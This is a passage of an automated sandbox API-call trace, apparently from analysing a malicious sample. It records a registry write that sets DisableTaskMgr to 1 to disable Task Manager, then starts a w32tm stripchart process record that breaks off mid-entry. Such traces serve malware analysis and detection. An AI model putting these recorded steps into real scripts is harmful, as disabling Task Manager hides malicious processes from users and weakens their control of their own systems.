[0094.787] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0094.787] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0094.787] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0094.787] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0094.787] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0094.787] StrChrW (lpStart=" \x09", wMatch=0x79) returned 0x0 [0094.787] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0094.788] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0094.788] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0094.788] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0094.788] lstrlenW (lpString="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 62 [0094.788] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", cchCount1=2, lpString2="\\\\", cchCount2=2) returned 3 [0094.788] lstrlenW (lpString="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 62 [0094.788] lstrlenW (lpString="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 62 [0094.788] StrChrIW (lpStart="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", wMatch=0x5c) returned="\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System" [0094.945] lstrlenW (lpString="HKEY_CURRENT_CONFIG") returned 19 [0094.945] GetProcessHeap () returned 0x580000 [0094.945] RtlAllocateHeap (HeapHandle=0x580000, Flags=0xc, Size=0x28) returned 0x5956a8 [0094.945] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="HKCU", cchCount1=-1, lpString2="HKCU", cchCount2=-1) returned 2 [0094.945] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 57 [0094.945] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 57 [0094.945] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 57 [0094.945] StrChrIW (lpStart="Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", wMatch=0x5c) returned="\\Microsoft\\Windows\\CurrentVersion\\Policies\\System" [0094.945] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 57 [0094.945] StrChrIW (lpStart="Microsoft\\Windows\\CurrentVersion\\Policies\\System", wMatch=0x5c) returned="\\Windows\\CurrentVersion\\Policies\\System" [0094.945] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 57 [0094.945] StrChrIW (lpStart="Windows\\CurrentVersion\\Policies\\System", wMatch=0x5c) returned="\\CurrentVersion\\Policies\\System" [0094.945] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 57 [0094.945] StrChrIW (lpStart="CurrentVersion\\Policies\\System", wMatch=0x5c) returned="\\Policies\\System" [0094.946] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 57 [0094.946] StrChrIW (lpStart="Policies\\System", wMatch=0x5c) returned="\\System" [0094.946] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 57 [0094.946] StrChrIW (lpStart="System", wMatch=0x5c) returned 0x0 [0094.946] SetLastError (dwErrCode=0x490) [0094.946] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 57 [0094.946] SetLastError (dwErrCode=0x0) [0094.946] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 57 [0094.946] GetProcessHeap () returned 0x580000 [0094.946] RtlAllocateHeap (HeapHandle=0x580000, Flags=0xc, Size=0x74) returned 0x591800 [0094.946] GetProcessHeap () returned 0x580000 [0094.946] RtlAllocateHeap (HeapHandle=0x580000, Flags=0xc, Size=0xa0) returned 0x5956d8 [0094.946] GetProcessHeap () returned 0x580000 [0094.946] GetProcessHeap () returned 0x580000 [0094.946] HeapValidate (hHeap=0x580000, dwFlags=0x0, lpMem=0x5956a8) returned 1 [0094.946] GetProcessHeap () returned 0x580000 [0094.946] RtlSizeHeap (HeapHandle=0x580000, Flags=0x0, MemoryPointer=0x5956a8) returned 0x28 [0094.947] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5956a8 | out: hHeap=0x580000) returned 1 [0094.947] GetProcessHeap () returned 0x580000 [0094.947] GetProcessHeap () returned 0x580000 [0094.947] HeapValidate (hHeap=0x580000, dwFlags=0x0, lpMem=0x5954f8) returned 1 [0094.947] GetProcessHeap () returned 0x580000 [0094.947] RtlSizeHeap (HeapHandle=0x580000, Flags=0x0, MemoryPointer=0x5954f8) returned 0x7e [0094.948] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5954f8 | out: hHeap=0x580000) returned 1 [0094.948] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/v", cchCount1=-1, lpString2="/v", cchCount2=-1) returned 2 [0094.948] lstrlenW (lpString="DisableTaskMgr") returned 14 [0094.948] GetProcessHeap () returned 0x580000 [0094.948] RtlAllocateHeap (HeapHandle=0x580000, Flags=0xc, Size=0x1e) returned 0x5943d0 [0094.948] lstrlenW (lpString="DisableTaskMgr") returned 14 [0094.948] StrChrW (lpStart=" \x09", wMatch=0x44) returned 0x0 [0094.948] StrChrW (lpStart=" \x09", wMatch=0x44) returned 0x0 [0094.948] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0094.948] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0094.948] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0094.948] StrChrW (lpStart=" \x09", wMatch=0x62) returned 0x0 [0094.948] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0094.948] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0094.948] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0094.948] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0094.948] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0094.948] StrChrW (lpStart=" \x09", wMatch=0x6b) returned 0x0 [0094.948] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0094.948] StrChrW (lpStart=" \x09", wMatch=0x67) returned 0x0 [0094.948] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0094.948] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/t", cchCount1=-1, lpString2="/v", cchCount2=-1) returned 1 [0094.948] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/t", cchCount1=-1, lpString2="-v", cchCount2=-1) returned 1 [0094.948] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/t", cchCount1=-1, lpString2="/ve", cchCount2=-1) returned 1 [0094.948] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/t", cchCount1=-1, lpString2="-ve", cchCount2=-1) returned 1 [0094.948] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/t", cchCount1=-1, lpString2="/t", cchCount2=-1) returned 2 [0094.949] StrDupW (lpSrch="REG_DWORD") returned="REG_DWORD" [0094.949] lstrlenW (lpString="REG_DWORD") returned 9 [0094.949] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0 [0094.949] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0 [0094.949] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0094.949] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0094.949] StrChrW (lpStart=" \x09", wMatch=0x5f) returned 0x0 [0094.949] StrChrW (lpStart=" \x09", wMatch=0x44) returned 0x0 [0094.949] StrChrW (lpStart=" \x09", wMatch=0x57) returned 0x0 [0094.949] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0094.949] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0 [0094.949] StrChrW (lpStart=" \x09", wMatch=0x44) returned 0x0 [0094.949] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="REG_DWORD", cchCount1=-1, lpString2="REG_SZ", cchCount2=-1) returned 1 [0094.949] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="REG_DWORD", cchCount1=-1, lpString2="REG_EXPAND_SZ", cchCount2=-1) returned 1 [0094.949] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="REG_DWORD", cchCount1=-1, lpString2="REG_MULTI_SZ", cchCount2=-1) returned 1 [0094.949] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="REG_DWORD", cchCount1=-1, lpString2="REG_BINARY", cchCount2=-1) returned 3 [0094.949] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="REG_DWORD", cchCount1=-1, lpString2="REG_DWORD", cchCount2=-1) returned 2 [0094.949] LocalFree (hMem=0x595798) returned 0x0 [0094.949] SetLastError (dwErrCode=0x0) [0094.949] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/d", cchCount1=-1, lpString2="/v", cchCount2=-1) returned 1 [0094.949] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/d", cchCount1=-1, lpString2="-v", cchCount2=-1) returned 1 [0094.949] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/d", cchCount1=-1, lpString2="/ve", cchCount2=-1) returned 1 [0094.949] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/d", cchCount1=-1, lpString2="-ve", cchCount2=-1) returned 1 [0094.950] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/d", cchCount1=-1, lpString2="/t", cchCount2=-1) returned 1 [0094.950] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/d", cchCount1=-1, lpString2="-t", cchCount2=-1) returned 1 [0094.950] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/d", cchCount1=-1, lpString2="/s", cchCount2=-1) returned 1 [0094.950] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/d", cchCount1=-1, lpString2="-s", cchCount2=-1) returned 1 [0094.950] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/d", cchCount1=-1, lpString2="/d", cchCount2=-1) returned 2 [0094.950] lstrlenW (lpString="1") returned 1 [0094.950] GetProcessHeap () returned 0x580000 [0094.950] RtlAllocateHeap (HeapHandle=0x580000, Flags=0xc, Size=0x4) returned 0x595320 [0094.950] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/f", cchCount1=-1, lpString2="/v", cchCount2=-1) returned 1 [0094.950] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/f", cchCount1=-1, lpString2="-v", cchCount2=-1) returned 1 [0094.950] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/f", cchCount1=-1, lpString2="/ve", cchCount2=-1) returned 1 [0094.950] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/f", cchCount1=-1, lpString2="-ve", cchCount2=-1) returned 1 [0094.950] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/f", cchCount1=-1, lpString2="/t", cchCount2=-1) returned 1 [0094.950] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/f", cchCount1=-1, lpString2="-t", cchCount2=-1) returned 1 [0094.950] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/f", cchCount1=-1, lpString2="/s", cchCount2=-1) returned 1 [0094.950] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/f", cchCount1=-1, lpString2="-s", cchCount2=-1) returned 1 [0094.950] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/f", cchCount1=-1, lpString2="/d", cchCount2=-1) returned 3 [0094.950] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/f", cchCount1=-1, lpString2="-d", cchCount2=-1) returned 1 [0094.950] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/f", cchCount1=-1, lpString2="/f", cchCount2=-1) returned 2 [0094.950] SetLastError (dwErrCode=0x0) [0094.950] RegCreateKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2001f, lpSecurityAttributes=0x0, phkResult=0x11fdf0, lpdwDisposition=0x11fdc8 | out: phkResult=0x11fdf0*=0x74, lpdwDisposition=0x11fdc8*=0x1) returned 0x0 [0094.951] RegQueryValueExW (in: hKey=0x74, lpValueName="DisableTaskMgr", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x2 [0094.951] GetThreadLocale () returned 0x409 [0094.951] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="1", cchCount1=2, lpString2="0x", cchCount2=2) returned 3 [0094.951] _memicmp (_Buf1=0x58f4f0, _Buf2=0x261318, _Size=0x7) returned 0 [0094.951] lstrlenW (lpString="1") returned 1 [0094.951] lstrlenW (lpString="1") returned 1 [0094.951] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0094.951] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0094.951] lstrlenW (lpString="1") returned 1 [0094.951] _errno () returned 0x3d07d8 [0094.951] _errno () returned 0x3d07d8 [0094.951] lstrlenW (lpString="") returned 0 [0094.951] _memicmp (_Buf1=0x58f4f0, _Buf2=0x261318, _Size=0x7) returned 0 [0094.951] lstrlenW (lpString="1") returned 1 [0094.951] lstrlenW (lpString="1") returned 1 [0094.951] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0094.951] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0094.951] lstrlenW (lpString="1") returned 1 [0094.951] _errno () returned 0x3d07d8 [0094.952] _errno () returned 0x3d07d8 [0094.952] lstrlenW (lpString="") returned 0 [0094.952] RegSetValueExW (in: hKey=0x74, lpValueName="DisableTaskMgr", Reserved=0x0, dwType=0x4, lpData=0x11fde0*=0x1, cbData=0x4 | out: lpData=0x11fde0*=0x1) returned 0x0 [0094.952] RegCloseKey (hKey=0x74) returned 0x0 [0094.952] GetProcessHeap () returned 0x580000 [0094.952] GetProcessHeap () returned 0x580000 [0094.952] HeapValidate (hHeap=0x580000, dwFlags=0x0, lpMem=0x591800) returned 1 [0094.952] GetProcessHeap () returned 0x580000 [0094.952] RtlSizeHeap (HeapHandle=0x580000, Flags=0x0, MemoryPointer=0x591800) returned 0x74 [0094.952] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x591800 | out: hHeap=0x580000) returned 1 [0094.952] GetProcessHeap () returned 0x580000 [0094.953] GetProcessHeap () returned 0x580000 [0094.953] HeapValidate (hHeap=0x580000, dwFlags=0x0, lpMem=0x5956d8) returned 1 [0094.953] GetProcessHeap () returned 0x580000 [0094.953] RtlSizeHeap (HeapHandle=0x580000, Flags=0x0, MemoryPointer=0x5956d8) returned 0xa0 [0094.953] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5956d8 | out: hHeap=0x580000) returned 1 [0094.953] GetProcessHeap () returned 0x580000 [0094.953] GetProcessHeap () returned 0x580000 [0094.953] HeapValidate (hHeap=0x580000, dwFlags=0x0, lpMem=0x5943d0) returned 1 [0094.953] GetProcessHeap () returned 0x580000 [0094.953] RtlSizeHeap (HeapHandle=0x580000, Flags=0x0, MemoryPointer=0x5943d0) returned 0x1e [0094.953] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5943d0 | out: hHeap=0x580000) returned 1 [0094.953] GetProcessHeap () returned 0x580000 [0094.953] GetProcessHeap () returned 0x580000 [0094.953] HeapValidate (hHeap=0x580000, dwFlags=0x0, lpMem=0x595320) returned 1 [0094.953] GetProcessHeap () returned 0x580000 [0094.953] RtlSizeHeap (HeapHandle=0x580000, Flags=0x0, MemoryPointer=0x595320) returned 0x4 [0094.953] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x595320 | out: hHeap=0x580000) returned 1 [0094.953] SetLastError (dwErrCode=0x0) [0094.953] GetLastError () returned 0x0 [0094.953] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x0, dwLanguageId=0x0, lpBuffer=0x11fd9c, nSize=0x0, Arguments=0x0 | out: lpBuffer="哸Yﶨ\x11ㅶ&﹤\x11㝓&") returned 0x27 [0094.959] GetLastError () returned 0x0 [0094.959] lstrlenW (lpString="The operation completed successfully.\r\n") returned 39 [0094.959] GetProcessHeap () returned 0x580000 [0094.959] GetProcessHeap () returned 0x580000 [0094.959] HeapValidate (hHeap=0x580000, dwFlags=0x0, lpMem=0x593fe8) returned 1 [0094.959] GetProcessHeap () returned 0x580000 [0094.959] RtlSizeHeap (HeapHandle=0x580000, Flags=0x0, MemoryPointer=0x593fe8) returned 0x2 [0094.959] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x593fe8 | out: hHeap=0x580000) returned 1 [0094.960] GetProcessHeap () returned 0x580000 [0094.960] RtlAllocateHeap (HeapHandle=0x580000, Flags=0xc, Size=0x50) returned 0x5956a8 [0094.960] SetLastError (dwErrCode=0x0) [0094.960] LocalFree (hMem=0x5954f8) returned 0x0 [0094.960] __iob_func () returned 0x76ec2900 [0094.960] _fileno (_File=0x76ec2920) returned 1 [0094.960] _errno () returned 0x3d07d8 [0094.960] _get_osfhandle (_FileHandle=1) returned 0x7 [0094.960] _errno () returned 0x3d07d8 [0094.960] GetFileType (hFile=0x7) returned 0x2 [0094.960] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0094.960] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x11fd5c | out: lpMode=0x11fd5c) returned 1 [0094.961] __iob_func () returned 0x76ec2900 [0094.961] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0094.961] lstrlenW (lpString="The operation completed successfully.\r\n") returned 39 [0094.961] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x5956a8*, nNumberOfCharsToWrite=0x27, lpNumberOfCharsWritten=0x11fd84, lpReserved=0x0 | out: lpBuffer=0x5956a8*, lpNumberOfCharsWritten=0x11fd84*=0x27) returned 1 [0094.961] GetProcessHeap () returned 0x580000 [0094.961] GetProcessHeap () returned 0x580000 [0094.962] HeapValidate (hHeap=0x580000, dwFlags=0x0, lpMem=0x595468) returned 1 [0094.962] GetProcessHeap () returned 0x580000 [0094.962] RtlSizeHeap (HeapHandle=0x580000, Flags=0x0, MemoryPointer=0x595468) returned 0x84 [0094.962] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x595468 | out: hHeap=0x580000) returned 1 [0094.962] GetProcessHeap () returned 0x580000 [0094.962] GetProcessHeap () returned 0x580000 [0094.962] HeapValidate (hHeap=0x580000, dwFlags=0x0, lpMem=0x58f508) returned 1 [0094.962] GetProcessHeap () returned 0x580000 [0094.962] RtlSizeHeap (HeapHandle=0x580000, Flags=0x0, MemoryPointer=0x58f508) returned 0x10 [0094.962] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x58f508 | out: hHeap=0x580000) returned 1 [0094.962] GetProcessHeap () returned 0x580000 [0094.962] GetProcessHeap () returned 0x580000 [0094.962] HeapValidate (hHeap=0x580000, dwFlags=0x0, lpMem=0x595288) returned 1 [0094.962] GetProcessHeap () returned 0x580000 [0094.962] RtlSizeHeap (HeapHandle=0x580000, Flags=0x0, MemoryPointer=0x595288) returned 0x14 [0094.962] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x595288 | out: hHeap=0x580000) returned 1 [0094.962] GetProcessHeap () returned 0x580000 [0094.963] GetProcessHeap () returned 0x580000 [0094.963] HeapValidate (hHeap=0x580000, dwFlags=0x0, lpMem=0x5943a8) returned 1 [0094.963] GetProcessHeap () returned 0x580000 [0094.963] RtlSizeHeap (HeapHandle=0x580000, Flags=0x0, MemoryPointer=0x5943a8) returned 0x1e [0094.963] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5943a8 | out: hHeap=0x580000) returned 1 [0094.963] GetProcessHeap () returned 0x580000 [0094.963] GetProcessHeap () returned 0x580000 [0094.963] HeapValidate (hHeap=0x580000, dwFlags=0x0, lpMem=0x58f4f0) returned 1 [0094.963] GetProcessHeap () returned 0x580000 [0094.963] RtlSizeHeap (HeapHandle=0x580000, Flags=0x0, MemoryPointer=0x58f4f0) returned 0x10 [0094.963] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x58f4f0 | out: hHeap=0x580000) returned 1 [0094.963] GetProcessHeap () returned 0x580000 [0094.963] GetProcessHeap () returned 0x580000 [0094.963] HeapValidate (hHeap=0x580000, dwFlags=0x0, lpMem=0x595268) returned 1 [0094.963] GetProcessHeap () returned 0x580000 [0094.963] RtlSizeHeap (HeapHandle=0x580000, Flags=0x0, MemoryPointer=0x595268) returned 0x14 [0094.963] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x595268 | out: hHeap=0x580000) returned 1 [0094.963] GetProcessHeap () returned 0x580000 [0094.963] GetProcessHeap () returned 0x580000 [0094.963] HeapValidate (hHeap=0x580000, dwFlags=0x0, lpMem=0x5956a8) returned 1 [0094.963] GetProcessHeap () returned 0x580000 [0094.963] RtlSizeHeap (HeapHandle=0x580000, Flags=0x0, MemoryPointer=0x5956a8) returned 0x50 [0094.964] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5956a8 | out: hHeap=0x580000) returned 1 [0094.964] GetProcessHeap () returned 0x580000 [0094.964] GetProcessHeap () returned 0x580000 [0094.964] HeapValidate (hHeap=0x580000, dwFlags=0x0, lpMem=0x593e48) returned 1 [0094.964] GetProcessHeap () returned 0x580000 [0094.964] RtlSizeHeap (HeapHandle=0x580000, Flags=0x0, MemoryPointer=0x593e48) returned 0x14 [0094.964] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x593e48 | out: hHeap=0x580000) returned 1 [0094.964] GetProcessHeap () returned 0x580000 [0094.964] GetProcessHeap () returned 0x580000 [0094.964] HeapValidate (hHeap=0x580000, dwFlags=0x0, lpMem=0x593e68) returned 1 [0094.964] GetProcessHeap () returned 0x580000 [0094.964] RtlSizeHeap (HeapHandle=0x580000, Flags=0x0, MemoryPointer=0x593e68) returned 0x14 [0094.964] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x593e68 | out: hHeap=0x580000) returned 1 [0094.964] GetProcessHeap () returned 0x580000 [0094.964] GetProcessHeap () returned 0x580000 [0094.964] HeapValidate (hHeap=0x580000, dwFlags=0x0, lpMem=0x593e88) returned 1 [0094.964] GetProcessHeap () returned 0x580000 [0094.964] RtlSizeHeap (HeapHandle=0x580000, Flags=0x0, MemoryPointer=0x593e88) returned 0x14 [0094.964] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x593e88 | out: hHeap=0x580000) returned 1 [0094.964] GetProcessHeap () returned 0x580000 [0094.964] GetProcessHeap () returned 0x580000 [0094.964] HeapValidate (hHeap=0x580000, dwFlags=0x0, lpMem=0x593ea8) returned 1 [0094.964] GetProcessHeap () returned 0x580000 [0094.964] RtlSizeHeap (HeapHandle=0x580000, Flags=0x0, MemoryPointer=0x593ea8) returned 0x14 [0094.965] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x593ea8 | out: hHeap=0x580000) returned 1 [0094.965] GetProcessHeap () returned 0x580000 [0094.965] GetProcessHeap () returned 0x580000 [0094.965] HeapValidate (hHeap=0x580000, dwFlags=0x0, lpMem=0x58f4a8) returned 1 [0094.965] GetProcessHeap () returned 0x580000 [0094.965] RtlSizeHeap (HeapHandle=0x580000, Flags=0x0, MemoryPointer=0x58f4a8) returned 0x10 [0094.965] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x58f4a8 | out: hHeap=0x580000) returned 1 [0094.965] GetProcessHeap () returned 0x580000 [0094.965] GetProcessHeap () returned 0x580000 [0094.965] HeapValidate (hHeap=0x580000, dwFlags=0x0, lpMem=0x593ec8) returned 1 [0094.965] GetProcessHeap () returned 0x580000 [0094.965] RtlSizeHeap (HeapHandle=0x580000, Flags=0x0, MemoryPointer=0x593ec8) returned 0x14 [0094.965] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x593ec8 | out: hHeap=0x580000) returned 1 [0094.965] GetProcessHeap () returned 0x580000 [0094.965] GetProcessHeap () returned 0x580000 [0094.965] HeapValidate (hHeap=0x580000, dwFlags=0x0, lpMem=0x5951e8) returned 1 [0094.965] GetProcessHeap () returned 0x580000 [0094.965] RtlSizeHeap (HeapHandle=0x580000, Flags=0x0, MemoryPointer=0x5951e8) returned 0x14 [0094.965] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5951e8 | out: hHeap=0x580000) returned 1 [0094.965] GetProcessHeap () returned 0x580000 [0094.965] GetProcessHeap () returned 0x580000 [0094.965] HeapValidate (hHeap=0x580000, dwFlags=0x0, lpMem=0x595208) returned 1 [0094.965] GetProcessHeap () returned 0x580000 [0094.965] RtlSizeHeap (HeapHandle=0x580000, Flags=0x0, MemoryPointer=0x595208) returned 0x14 [0094.965] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x595208 | out: hHeap=0x580000) returned 1 [0094.965] GetProcessHeap () returned 0x580000 [0094.966] GetProcessHeap () returned 0x580000 [0094.966] HeapValidate (hHeap=0x580000, dwFlags=0x0, lpMem=0x595228) returned 1 [0094.966] GetProcessHeap () returned 0x580000 [0094.966] RtlSizeHeap (HeapHandle=0x580000, Flags=0x0, MemoryPointer=0x595228) returned 0x14 [0094.966] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x595228 | out: hHeap=0x580000) returned 1 [0094.966] GetProcessHeap () returned 0x580000 [0094.966] GetProcessHeap () returned 0x580000 [0094.966] HeapValidate (hHeap=0x580000, dwFlags=0x0, lpMem=0x58f4c0) returned 1 [0094.966] GetProcessHeap () returned 0x580000 [0094.966] RtlSizeHeap (HeapHandle=0x580000, Flags=0x0, MemoryPointer=0x58f4c0) returned 0x10 [0094.966] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x58f4c0 | out: hHeap=0x580000) returned 1 [0094.966] GetProcessHeap () returned 0x580000 [0094.966] GetProcessHeap () returned 0x580000 [0094.966] HeapValidate (hHeap=0x580000, dwFlags=0x0, lpMem=0x595248) returned 1 [0094.966] GetProcessHeap () returned 0x580000 [0094.966] RtlSizeHeap (HeapHandle=0x580000, Flags=0x0, MemoryPointer=0x595248) returned 0x14 [0094.966] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x595248 | out: hHeap=0x580000) returned 1 [0094.966] GetProcessHeap () returned 0x580000 [0094.966] GetProcessHeap () returned 0x580000 [0094.966] HeapValidate (hHeap=0x580000, dwFlags=0x0, lpMem=0x5952a8) returned 1 [0094.966] GetProcessHeap () returned 0x580000 [0094.966] RtlSizeHeap (HeapHandle=0x580000, Flags=0x0, MemoryPointer=0x5952a8) returned 0x14 [0094.966] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5952a8 | out: hHeap=0x580000) returned 1 [0094.966] GetProcessHeap () returned 0x580000 [0094.966] GetProcessHeap () returned 0x580000 [0094.966] HeapValidate (hHeap=0x580000, dwFlags=0x0, lpMem=0x58f4d8) returned 1 [0094.966] GetProcessHeap () returned 0x580000 [0094.967] RtlSizeHeap (HeapHandle=0x580000, Flags=0x0, MemoryPointer=0x58f4d8) returned 0x10 [0094.967] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x58f4d8 | out: hHeap=0x580000) returned 1 [0094.967] GetProcessHeap () returned 0x580000 [0094.967] GetProcessHeap () returned 0x580000 [0094.967] HeapValidate (hHeap=0x580000, dwFlags=0x0, lpMem=0x5952c8) returned 1 [0094.967] GetProcessHeap () returned 0x580000 [0094.967] RtlSizeHeap (HeapHandle=0x580000, Flags=0x0, MemoryPointer=0x5952c8) returned 0x14 [0094.967] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5952c8 | out: hHeap=0x580000) returned 1 [0094.967] GetProcessHeap () returned 0x580000 [0094.967] GetProcessHeap () returned 0x580000 [0094.967] HeapValidate (hHeap=0x580000, dwFlags=0x0, lpMem=0x58f490) returned 1 [0094.967] GetProcessHeap () returned 0x580000 [0094.967] RtlSizeHeap (HeapHandle=0x580000, Flags=0x0, MemoryPointer=0x58f490) returned 0x10 [0094.967] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x58f490 | out: hHeap=0x580000) returned 1 [0094.967] exit (_Code=0) Process: id = "70" image_name = "w32tm.exe" filename = "c:\\windows\\system32\\w32tm.exe" page_root = "0x3bc9d000" os_pid = "0x9c0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "68" os_parent_pid = "0x99c" cmd_line = "w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 " cur_dir = "C:\\hyperWinhost\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT 